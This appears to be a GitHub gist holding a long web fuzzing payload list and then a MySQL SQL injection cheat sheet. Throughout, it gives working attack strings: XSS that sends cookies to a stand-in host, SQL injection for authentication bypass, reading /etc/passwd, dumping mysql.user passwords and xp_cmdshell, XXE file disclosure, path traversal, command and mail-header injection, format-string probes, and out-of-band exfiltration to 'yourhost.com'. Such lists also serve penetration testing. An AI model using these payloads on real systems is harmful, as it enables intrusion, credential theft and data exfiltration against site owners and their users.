| (') | |
| {'} | |
| ['] | |
| *' | |
| #' | |
| !' | |
| !@#$%%^#$%#$@#$%$$@#$%^^**(() | |
| %01%02%03%04%0a%0d%0aADSF | |
| \t | |
| "\t" | |
| | |
| | |
| | |
| | |
| #xD | |
| #xA | |
| #xD#xA | |
| #xA#xD | |
| /%00/ | |
| %00/ | |
| %00 | |
| <? | |
| %3C | |
| %3C%3F | |
| %60 | |
| %5C | |
| %5C/ | |
| %7C | |
| %00 | |
| /%2A | |
| %2A | |
| %2C | |
| %20 | |
| %20| | |
| %250a | |
| %2500 | |
| ../ | |
| %2e%2e%2f | |
| ..%u2215 | |
| ..%c0%af | |
| ..%bg%qf | |
| ..\ | |
| ..%5c | |
| ..%%35c | |
| ..%255c | |
| ..%%35%63 | |
| ..%25%35%63 | |
| ..%u2216 | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| \x3c | |
| \x3C | |
| \u003c | |
| \u003C | |
| something%00html | |
| ' | |
| /' | |
| \' | |
| ^' | |
| @' | |
| {'} | |
| ['] | |
| *' | |
| #' | |
| ">xxx<P>yyy | |
| "><script>" | |
| <script>alert("XSS")</script> | |
| <<script>alert("XSS");//<</script> | |
| <script>alert(document.cookie)</script> | |
| '><script>alert(document.cookie)</script> | |
| '><script>alert(document.cookie);</script> | |
| \";alert('XSS');// | |
| %3cscript%3ealert("XSS");%3c/script%3e | |
| %3cscript%3ealert(document.cookie);%3c%2fscript%3e | |
| %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E | |
| <script>alert(document.cookie);</script> | |
| <script>alert(document.cookie);<script>alert | |
| <xss><script>alert('XSS')</script></vulnerable> | |
| <IMG%20SRC='javascript:alert(document.cookie)'> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC="javascript:alert('XSS')" | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=JaVaScRiPt:alert('XSS')> | |
| <IMG SRC=javascript:alert("XSS")> | |
| <IMG SRC=`javascript:alert("'XSS'")`> | |
| <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> | |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| <IMG%20SRC='javasc ript:alert(document.cookie)'> | |
| <IMG SRC="jav ascript:alert('XSS');"> | |
| <IMG SRC="jav	ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| <IMG SRC="  javascript:alert('XSS');"> | |
| <IMG DYNSRC="javascript:alert('XSS')"> | |
| <IMG LOWSRC="javascript:alert('XSS')"> | |
| <IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E | |
| "><script>document.location='http://your.site.com/cgi-bin/cookie.cgi?'+document.cookie</script> | |
| %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} | |
| '';!--"<XSS>=&{()} | |
| ' | |
| " | |
| # | |
| - | |
| -- | |
| ' -- | |
| --'; | |
| ' ; | |
| = ' | |
| = ; | |
| = -- | |
| \x23 | |
| \x27 | |
| \x3D \x3B' | |
| \x3D \x27 | |
| \x27\x4F\x52 SELECT * | |
| \x27\x6F\x72 SELECT * | |
| 'or select * | |
| admin'-- | |
| ';shutdown-- | |
| <>"'%;)(&+ | |
| ' or ''=' | |
| ' or 'x'='x | |
| " or "x"="x | |
| ') or ('x'='x | |
| 0 or 1=1 | |
| ' or 0=0 -- | |
| " or 0=0 -- | |
| or 0=0 -- | |
| ' or 0=0 # | |
| " or 0=0 # | |
| or 0=0 # | |
| ' or 1=1-- | |
| " or 1=1-- | |
| ' or '1'='1'-- | |
| "' or 1 --'" | |
| or 1=1-- | |
| or%201=1 | |
| or%201=1 -- | |
| ' or 1=1 or ''=' | |
| " or 1=1 or ""=" | |
| ' or a=a-- | |
| " or "a"="a | |
| ') or ('a'='a | |
| ") or ("a"="a | |
| hi" or "a"="a | |
| hi" or 1=1 -- | |
| hi' or 1=1 -- | |
| hi' or 'a'='a | |
| hi') or ('a'='a | |
| hi") or ("a"="a | |
| 'hi' or 'x'='x'; | |
| @variable | |
| ,@variable | |
| PRINT @@variable | |
| select | |
| insert | |
| as | |
| or | |
| procedure | |
| limit | |
| order by | |
| asc | |
| desc | |
| delete | |
| update | |
| distinct | |
| having | |
| truncate | |
| replace | |
| like | |
| handler | |
| bfilename | |
| ' or username like '% | |
| ' or uname like '% | |
| ' or userid like '% | |
| ' or uid like '% | |
| ' or user like '% | |
| exec xp | |
| exec sp | |
| '; exec master..xp_cmdshell | |
| '; exec xp_regread | |
| t'exec master..xp_cmdshell 'nslookup www.google.com'-- | |
| --sp_password | |
| \x27UNION SELECT | |
| ' UNION SELECT | |
| ' UNION ALL SELECT | |
| ' or (EXISTS) | |
| ' (select top 1 | |
| '||UTL_HTTP.REQUEST | |
| 1;SELECT%20* | |
| to_timestamp_tz | |
| tz_offset | |
| <>"'%;)(&+ | |
| '%20or%201=1 | |
| %27%20or%201=1 | |
| %20$(sleep%2050) | |
| %20'sleep%2050' | |
| char%4039%41%2b%40SELECT | |
| '%20OR | |
| 'sqlattempt1 | |
| (sqlattempt2) | |
| | | |
| %7C | |
| *| | |
| %2A%7C | |
| *(|(mail=*)) | |
| %2A%28%7C%28mail%3D%2A%29%29 | |
| *(|(objectclass=*)) | |
| %2A%28%7C%28objectclass%3D%2A%29%29 | |
| ( | |
| %28 | |
| ) | |
| %29 | |
| & | |
| %26 | |
| ! | |
| %21 | |
| ' or 1=1 or ''=' | |
| ' or ''=' | |
| x' or 1=1 or 'x'='y | |
| / | |
| // | |
| //* | |
| */* | |
| @* | |
| count(/child::node()) | |
| x' or name()='username' or 'x'='y | |
| <name>','')); phpinfo(); exit;/*</name> | |
| <![CDATA[<script>var n=0;while(true){n++;}</script>]]> | |
| <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo> | |
| <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> | |
| <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML> | |
| ' | |
| '-- | |
| ' or 1=1-- | |
| 1 or 1=1-- | |
| ' or 1 in (@@version)-- | |
| 1 or 1 in (@@version)-- | |
| '; waitfor delay '0:30:0'-- | |
| 1; waitfor delay '0:30:0'-- | |
| '||Utl_Http.request('http://<yourservername>') from dual-- | |
| 1||Utl_Http.request('http://<yourservername>') from dual-- | |
| xsstest | |
| xsstest%00"<>' | |
| </foo> | |
| <foo></foo> | |
| )))))))))) | |
| ../../../../../../../../../../boot.ini | |
| ..\..\..\..\..\..\..\..\..\..\boot.ini | |
| ../../../../../../../../../../windows/win.ini | |
| ..\..\..\..\..\..\..\..\..\..\windows\win.ini | |
| || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 & | |
| | ping -i 30 127.0.0.1 | | |
| | ping -n 30 127.0.0.1 | | |
| & ping -i 30 127.0.0.1 & | |
| & ping -n 30 127.0.0.1 & | |
| ; ping 127.0.0.1 ; | |
| %0a ping -i 30 127.0.0.1 %0a | |
| `ping 127.0.0.1` | |
| ;echo 111111 | |
| echo 111111 | |
| response.write 111111 | |
| :response.write 111111 | |
| http://<yourservername>/ | |
| <youremail>%0aCc:<youremail> | |
| <youremail>%0d%0aCc:<youremail> | |
| <youremail>%0aBcc:<youremail> | |
| <youremail>%0d%0aBcc:<youremail> | |
| %0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+tst%0afoo%0a%2e%0a | |
| %0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a | |
| # known cross platform source Code, file disclosure attack patterns - append after file or dir path | |
| %70 | |
| .%E2%73%70 | |
| %2e0 | |
| %2e | |
| . | |
| \ | |
| ?* | |
| %20 | |
| %00 | |
| %2f | |
| %5c | |
| count(/child::node()) | |
| x' or name()='username' or 'x'='y | |
| <![CDATA[<script>var n=0;while(true){n++;}</script>]]> | |
| <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]> | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>" | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[' or 1=1 or ''=']]></foo>" | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:/boot.ini"">]><foo>&xxe;</foo>" | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/passwd"">]><foo>&xxe;</foo>" | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/shadow"">]><foo>&xxe;</foo>" | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////dev/random"">]><foo>&xxe;</foo>" | |
| "<xml ID=I><X><C><![CDATA[<IMG SRC=""javas]]><![CDATA[cript:alert('XSS');"">]]>" | |
| "<xml ID=""xss""><I><B><IMG SRC=""javas<!-- -->cript:alert('XSS')""></B></I></xml><SPAN DATASRC=""#xss"" DATAFLD=""B"" DATAFORMATAS=""HTML""></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>" | |
| "<xml SRC=""xsstest.xml"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>" | |
| "<HTML xmlns:xss><?import namespace=""xss"" implementation=""http://ha.ckers.org/xss.htc""><xss:xss>XSS</xss:xss></HTML>" | |
| %00 | |
| NULL | |
| null | |
| ' | |
| " | |
| ; | |
| <! | |
| - | |
| = | |
| + | |
| " | |
| & | |
| ! | |
| | | |
| < | |
| > | |
| "><script>alert(1)</script> | |
| %0d | |
| %0a | |
| %7f | |
| %ff | |
| -1 | |
| other | |
| %s%p%x%d | |
| %99999999999s | |
| %08x | |
| %20d | |
| %20n | |
| %20x | |
| %20s | |
| %d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d | |
| %i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i | |
| %o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o | |
| %u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u | |
| %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x | |
| %X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X | |
| %a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a | |
| %A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A | |
| %e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e | |
| %E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E | |
| %f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f | |
| %F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F | |
| %g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g | |
| %G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G | |
| %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s | |
| %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p | |
| %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%% | |
| XXXXX.%p | |
| XXXXX`perl -e 'print ".%p" x 80'` | |
| `perl -e 'print ".%p" x 80'`%n | |
| !' | |
| !@#$%%^#$%#$@#$%$$@#$%^^**(() | |
| !@#0%^#0##018387@#0^^**(() | |
| "><script>" | |
| ">xxx<P>yyy | |
| "\t" | |
| # | |
| #' | |
| #' | |
| #xA | |
| #xA#xD | |
| #xD | |
| #xD#xA | |
| $NULL | |
| $null | |
| % | |
| %00 | |
| %00/ | |
| %01%02%03%04%0a%0d%0aADSF | |
| %0a | |
| %20 | |
| %20| | |
| %2500 | |
| %250a | |
| %2A | |
| %2C | |
| %2e%2e%2f | |
| %3C%3F | |
| %5C | |
| %5C/ | |
| %60 | |
| %7C | |
| | |
| | |
| | |
| | |
| ' | |
| ";id" | |
| (') | |
| * | |
| *' | |
| *' | |
| *| | |
| +%00 | |
| - | |
| -- | |
| -1 | |
| -1.0 | |
| -2 | |
| -20 | |
| -268435455 | |
| ..%%35%63 | |
| ..%%35c | |
| ..%25%35%63 | |
| ..%255c | |
| ..%5c | |
| ..%bg%qf | |
| ..%c0%af | |
| ..%u2215 | |
| ..%u2216 | |
| ../ | |
| ..\ | |
| / | |
| /%00/ | |
| /%2A | |
| /' | |
| /' | |
| 0 | |
| 00 | |
| 0xfffffff | |
| 1 | |
| 1.0 | |
| 2 | |
| 2147483647 | |
| 268435455 | |
| 65536 | |
| ; | |
| < script > < / script> | |
| <? | |
| ?x= | |
| ?x=" | |
| ?x=> | |
| ?x=| | |
| @' | |
| @' | |
| A | |
| ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x| | |
| FALSE | |
| NULL | |
| TRUE | |
| ['] | |
| ['] | |
| \ | |
| \"blah | |
| \' | |
| \' | |
| \0 | |
| \00 | |
| \00\00 | |
| \00\00\00 | |
| \0\0 | |
| \0\0\0 | |
| \\ | |
| \\/ | |
| \\\\* | |
| \\\\?\\ | |
| \t | |
| ^' | |
| ^' | |
| ` | |
| id%00 | |
| id%00| | |
| null | |
| something%00html | |
| {'} | |
| {'} | |
| | | |
| } | |
| Initial Exploitation | |
| Back to top | |
| Version SELECT @@VERSION | |
| SELECT version() | |
| Current User SELECT user() | |
| SELECT system_user() | |
| Current Database SELECT database() | |
| Quick Detection | |
| Back to top | |
| Error Based SQLi For integer inputs: | |
| (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) | |
| For string inputs: | |
| '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+' | |
| The attacks above should throw 'duplicate entry' errors. | |
| Clear SQLi Tests These tests are simply good for boolean sql injection and silent attacks. | |
| product.php?id=4 | |
| product.php?id=5-1 | |
| product.php?id=4 OR 1=1 | |
| product.php?id=-1 OR 17-7=10 | |
| Blind SQL Injection (Time Based) | |
| Back to top | |
| ### Use this when you can not see any difference at output. Second do not use more than 30 seconds, because database API connection timeout could be easily reached. | |
| ### This is just like sleep, wait for spesified time. CPU safe way to make database wait. | |
| SLEEP(25)-- | |
| SELECT BENCHMARK(1000000,MD5('A')); | |
| Real World Samples ProductID=1 OR SLEEP(25)=0 LIMIT 1-- | |
| ProductID=1) OR SLEEP(25)=0 LIMIT 1-- | |
| ProductID=1' OR SLEEP(25)=0 LIMIT 1-- | |
| ProductID=1') OR SLEEP(25)=0 LIMIT 1-- | |
| ProductID=1)) OR SLEEP(25)=0 LIMIT 1-- | |
| ProductID=SELECT SLEEP(25)-- | |
| Line Comments | |
| Back to top | |
| DROP sampletable;-- | |
| DROP sampletable;# | |
| Username : admin'-- | |
| : admin' or '1'='1'-- | |
| SELECT * FROM members WHERE $username = 'admin'--' AND $password = 'password' | |
| This is going to log you as admin user, because rest of the SQL query will be ignored. | |
| Inline Comments | |
| Back to top | |
| Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions. | |
| DROP/*comment*/sampletable | |
| DR/**/OP/*bypass blacklisting*/sampletable | |
| If Statements | |
| Back to top | |
| Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately. | |
| MySQL If Statement | |
| IF condition true-part ELSE false-part | |
| SELECT IF (1=1, ‘true’, ‘false’) | |
| If Statement SQL Injection Attack Samples | |
| SELECT IF(user()='root@localhost','true','false') | |
| String without Quotes | |
| Back to top | |
| SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) | |
| This will return ‘KLM’. | |
| Bulk Insert | |
| Back to top | |
| Insert a file content to a table. | |
| SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- | |
| Load File | |
| Back to top | |
| ' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- | |
| SELECT LOAD_FILE(0x633A5C626F6F742E696E69) | |
| This will show the content of c:\boot.ini | |
| Command Execution | |
| Back to top | |
| Possible with using UDF (user defined functions). | |
| http://packetstormsecurity.org/libraries/lib_mysqludf_sys_0.0.3.tar.gz | |
| Create Users | |
| Back to top | |
| CREATE USER username IDENTIFIED BY 'password'; -- | |
| Drop Users | |
| Back to top | |
| DROP USER username; -- | |
| Make User DBA | |
| Back to top | |
| GRANT ALL PRIVILEGES ON *.* TO username@'%'; | |
| List Users | |
| Back to top | |
| SELECT * FROM 'user' WHERE 1 LIMIT 0,30 | |
| SELECT * FROM mysql.user WHERE 1 LIMIT 1,1 | |
| SELECT * FROM mysql.user | |
| List Passwords | |
| Back to top | |
| SELECT user, password FROM mysql.user | |
| SELECT user, password FROM mysql.user LIMIT 1,1 | |
| SELECT password FROM mysql.user WHERE user = 'root' | |
| List Databases | |
| Back to top | |
| SELECT schema_name FROM information_schema.schemata; | |
| SELECT schema_name FROM information_schema.schemata LIMIT 1,1; | |
| Privileges | |
| Back to top | |
| SELECT Super_priv FROM mysql.user WHERE user=(SELECT user) LIMIT 1,1-- | |
| SELECT Super_priv FROM mysql.user WHERE user= ‘root’ LIMIT 1,1-- | |
| Getting user defined tables | |
| Back to top | |
| SELECT table_name FROM information_schema.tables WHERE table_schema = 'tblUsers' | |
| tblUsers -> tablename | |
| Getting Column Names | |
| Back to top | |
| SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tblUsers’ | |
| tblUsers -> tablename | |
| SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; | |
| find table which have a column called 'username' | |
| Default Databases | |
| Back to top | |
| information_schema (>= mysql 5.0) | |
| mysql | |
| Path of DB files | |
| Back to top | |
| SELECT @@datadir | |
| C:\AppServ\MySQL\data\ | |
| Time Based SQLi Exploitation | |
| Back to top | |
| ?vulnerableParam=-99 OR IF((ASCII(MID(({INJECTON}),1,1)) = 100),SLEEP(14),1) = 0 LIMIT 1-- | |
| {INJECTION} = You want to run the query. | |
| If the condition is true, will response after 14 seconds. If is false, will be delayed for one second. | |
| Out of Band Channel | |
| Back to top | |
| ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), 'yourhost.com\\'))) Makes a NBNS query request/DNS resolution request to yourhost.com | |
| ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt') Writes data to your shared folder/file | |
| {INJECTION} = You want to run the query. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment